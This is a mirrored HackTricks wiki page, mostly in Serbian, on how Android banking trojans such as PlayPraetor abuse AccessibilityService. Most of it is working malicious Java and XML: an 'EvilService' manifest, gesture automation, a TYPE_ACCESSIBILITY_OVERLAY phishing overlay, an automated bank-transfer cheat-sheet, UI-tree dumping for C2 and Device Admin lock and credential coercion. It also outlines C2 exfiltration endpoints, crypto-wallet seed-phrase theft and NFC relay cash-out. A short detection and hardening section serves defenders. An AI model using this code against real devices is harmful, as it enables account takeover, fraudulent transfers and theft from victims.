mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
233 lines
11 KiB
Markdown
233 lines
11 KiB
Markdown
# Zloupotreba Accessibility servisa na Androidu
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Pregled
|
||
|
||
`AccessibilityService` je kreiran da pomogne korisnicima sa invaliditetom da koriste Android uređaje. Nažalost, iste **moćne automation API-je** (globalna navigacija, unos teksta, slanje gestova, preklapajući prozori…) mogu biti zlonamerno iskorišćene od strane malware-a da se ostvari **potpuna daljinska kontrola** nad telefonom _bez root privilegija_.
|
||
|
||
Savremeni Android bankarski Trojans i Remote-Access-Trojans (RATs) kao što su **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i mnogi drugi slede isti recept:
|
||
|
||
1. Social-engineer-ovati žrtvu da omogući lažni accessibility service (dozvola *BIND_ACCESSIBILITY_SERVICE* smatra se "high-risk" i zahteva eksplicitnu korisničku akciju).
|
||
2. Iskoristiti servis da
|
||
* presreće svaki UI događaj i tekst koji se pojavi na ekranu,
|
||
* ubacuje sintetičke geste (`dispatchGesture`) i globalne akcije (`performGlobalAction`) za automatizaciju bilo kog zadatka koji operator želi,
|
||
* crta full-screen overlay-e preko legitimnih aplikacija koristeći tip prozora **TYPE_ACCESSIBILITY_OVERLAY** (bez `SYSTEM_ALERT_WINDOW` prompta!),
|
||
* tiho odobrava dodatne runtime dozvole klikom na sistemske dijaloge u ime žrtve.
|
||
3. Eksfiltrira podatke ili izvodi **On-Device-Fraud (ODF)** u realnom vremenu dok korisnik gleda potpuno normalan ekran.
|
||
|
||
---
|
||
|
||
## Zahtevanje dozvole
|
||
```xml
|
||
<!-- AndroidManifest.xml -->
|
||
<service
|
||
android:name="com.evil.rat.EvilService"
|
||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||
android:exported="false">
|
||
|
||
<intent-filter>
|
||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||
</intent-filter>
|
||
|
||
<meta-data android:name="android.accessibilityservice"
|
||
android:resource="@xml/evil_accessibility_config"/>
|
||
</service>
|
||
```
|
||
Prateći XML definiše kako će lažni dijalog izgledati:
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||
android:description="@string/service_description"
|
||
android:accessibilityEventTypes="typeAllMask"
|
||
android:accessibilityFeedbackType="feedbackGeneric"
|
||
android:notificationTimeout="200"
|
||
android:canPerformGestures="true"
|
||
android:canRetrieveWindowContent="true"/>
|
||
```
|
||
---
|
||
|
||
## Udaljene primitive za automatizaciju korisničkog interfejsa
|
||
```java
|
||
public class EvilService extends AccessibilityService {
|
||
@Override
|
||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||
// harvest text or detect foreground app change
|
||
}
|
||
|
||
// Simulate HOME / BACK / RECENTS …
|
||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||
|
||
// Generic tap / swipe
|
||
public void tap(float x, float y) {
|
||
Path p = new Path(); p.moveTo(x, y);
|
||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||
}
|
||
}
|
||
```
|
||
With only these two APIs an attacker can:
|
||
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati kroz njen UI stablo i poslati nalog za prenos.
|
||
* Prihvatiti svaki dijalog za dozvole koji se pojavi.
|
||
* Instalirati/azurirati dodatne APK-ove putem Play Store intent-a.
|
||
|
||
---
|
||
|
||
## Abuse patterns
|
||
|
||
### 1. Overlay Phishing (Credential Harvesting)
|
||
Transparentan ili neprovidan `WebView` se dodaje u menadžer prozora:
|
||
```java
|
||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||
MATCH_PARENT, MATCH_PARENT,
|
||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||
PixelFormat.TRANSLUCENT);
|
||
wm.addView(phishingView, lp);
|
||
```
|
||
Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste – nikakav sumnjiv "draw over other apps" prompt se nikada ne prikazuje.
|
||
|
||
> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
|
||
|
||
### 2. On-Device Fraud automation
|
||
Malver familije kao što je **PlayPraetor** održava persistentan WebSocket kanal gde operator može izdavati high-level komande (`init`, `update`, `alert_arr`, `report_list`, …). Servis prevodi te komande u gore navedene low-level geste, ostvarujući real-time neautorizovane transakcije koje lako zaobilaze višefaktorsku autentifikaciju vezanu za baš taj uređaj.
|
||
|
||
### 3. Screen streaming & monitoring
|
||
Kombinovanjem **MediaProjection API** sa RTMP client bibliotekom, RAT može emitiratii live framebuffer na `rtmp://<c2>:1935/live/<device_id>`, dajući napadaču potpunu situacionu svest dok Accessibility engine upravlja UI-jem.
|
||
|
||
---
|
||
|
||
## PlayPraetor – command & control workflow
|
||
|
||
1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
|
||
2. **WebSocket (port 8282)** – bidirectional JSON commands:
|
||
* `update` – push new conf/APKs
|
||
* `alert_arr` – configure overlay templates
|
||
* `report_list` – send list of targeted package names
|
||
* `heartbeat_web` – keep-alive
|
||
3. **RTMP (port 1935)** – live screen/video streaming.
|
||
4. **REST exfiltration** –
|
||
* `/app/saveDevice` (fingerprint)
|
||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||
* `/app/saveCardPwd` (bank creds)
|
||
|
||
The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
|
||
|
||
---
|
||
|
||
## Otkrivanje malicioznih accessibility servisa
|
||
|
||
* `adb shell settings get secure enabled_accessibility_services`
|
||
* Settings → Accessibility → *Downloaded services* – potražite aplikacije koje **nisu** iz Google Play.
|
||
* MDM / EMM rešenja mogu nametnuti `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) da blokiraju sideloaded servise.
|
||
* Analizirajte pokrenute servise:
|
||
```bash
|
||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||
```
|
||
|
||
---
|
||
|
||
## Preporuke za hardening za developere aplikacija
|
||
|
||
* Označite osetljive prikaze atributom `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||
* Kombinujte `setFilterTouchesWhenObscured(true)` sa `FLAG_SECURE` da sprečite tap/overlay hijacking.
|
||
* Otkrivajte overlay-e proverom `WindowManager.getDefaultDisplay().getFlags()` ili koristeći `ViewRootImpl` API.
|
||
* Odbijajte rad kada `Settings.canDrawOverlays()` **ili** nepouzdani Accessibility servis bude aktivan.
|
||
|
||
---
|
||
|
||
## ATS automation cheat-sheet (Accessibility-driven)
|
||
Malver može potpuno automatizovati bankarsku aplikaciju koristeći samo Accessibility APIs. Generičke primitive:
|
||
```java
|
||
// Helpers inside your AccessibilityService
|
||
private List<AccessibilityNodeInfo> byText(String t){
|
||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||
}
|
||
private boolean clickText(String t){
|
||
for (AccessibilityNodeInfo n: byText(t)){
|
||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||
AccessibilityNodeInfo p = n.getParent();
|
||
if (p != null) return p.performAction(ACTION_CLICK);
|
||
}
|
||
return false;
|
||
}
|
||
private void inputText(AccessibilityNodeInfo field, String text){
|
||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||
field.performAction(ACTION_SET_TEXT, b);
|
||
}
|
||
private void tap(float x, float y){
|
||
Path p = new Path(); p.moveTo(x,y);
|
||
dispatchGesture(new GestureDescription.Builder()
|
||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||
}
|
||
```
|
||
Primer toka (češki → engleske oznake):
|
||
- "Nová platba" (Nova uplata) → klik
|
||
- "Zadat platbu" (Unesi plaćanje) → klik
|
||
- "Nový příjemce" (Novi primalac) → klik
|
||
- "Domácí číslo účtu" (Domaći broj računa) → postavi fokus i `ACTION_SET_TEXT`
|
||
- "Další" (Dalje) → klik → … "Zaplatit" (Plati) → klik → unesi PIN
|
||
|
||
Fallback: fiksne koordinate sa `dispatchGesture` kada pretraga teksta zakaže zbog prilagođenih widgeta.
|
||
|
||
Takođe primećeno: predkoraci za `check_limit` i `limit` navigacijom do limits UI i povećanjem dnevnih limita pre transfera.
|
||
|
||
## Tekstualno pseudo-screen streaming
|
||
Za kontrolu sa malim kašnjenjem, umesto potpunog video streaminga, ispiši tekstualnu reprezentaciju trenutnog UI stabla i ponavljano je šalji na C2.
|
||
```java
|
||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||
if (n==null) return;
|
||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||
sb.append(indent).append("[").append(cls).append("] ")
|
||
.append(txt==null?"":txt).append(" ")
|
||
.append(b.toShortString()).append("\n");
|
||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||
}
|
||
```
|
||
Ovo je osnova za komande poput `txt_screen` (jednokratne) i `screen_live` (kontinuirane).
|
||
|
||
## Device Admin primitivni mehanizmi prisile
|
||
Kada se Device Admin receiver aktivira, ovi pozivi povećavaju mogućnosti za presretanje kredencijala i održavanje kontrole:
|
||
```java
|
||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||
|
||
// 1) Immediate lock
|
||
dpm.lockNow();
|
||
|
||
// 2) Force credential change (expire current PIN/password)
|
||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||
|
||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||
```
|
||
Napomena: tačna dostupnost ovih politika varira u zavisnosti od verzije Androida i OEM; tokom testiranja potvrdite ulogu politike uređaja (admin vs owner).
|
||
|
||
## Obrasci izvlačenja seed-phrase iz kripto novčanika
|
||
Primećeni tokovi za MetaMask, Trust Wallet, Blockchain.com i Phantom:
|
||
- Otključavanje ukradenim PIN-om (zabeleženim putem overlay/Accessibility) ili unetom lozinkom novčanika.
|
||
- Navigacija: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||
- Prikupljanje fraze putem keylogging-a tekstualnih čvorova, secure-screen bypass-a, ili screenshot OCR-a kada je tekst zaklonjen.
|
||
- Podrška za više lokalizacija (EN/RU/CZ/SK) radi stabilizacije selektora – preferirati `viewIdResourceName` kad je dostupan, u suprotnom koristiti višelingvalno podudaranje teksta.
|
||
|
||
## Orkestracija NFC-relaya
|
||
Accessibility/RAT moduli mogu instalirati i pokrenuti posvećenu NFC-relay aplikaciju (npr. NFSkate) kao treću fazu i čak injektovati overlay vodič koji vodi žrtvu kroz korake relaya sa prisutnom karticom.
|
||
|
||
Pozadina i TTP-ovi: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||
|
||
---
|
||
|
||
## Reference
|
||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|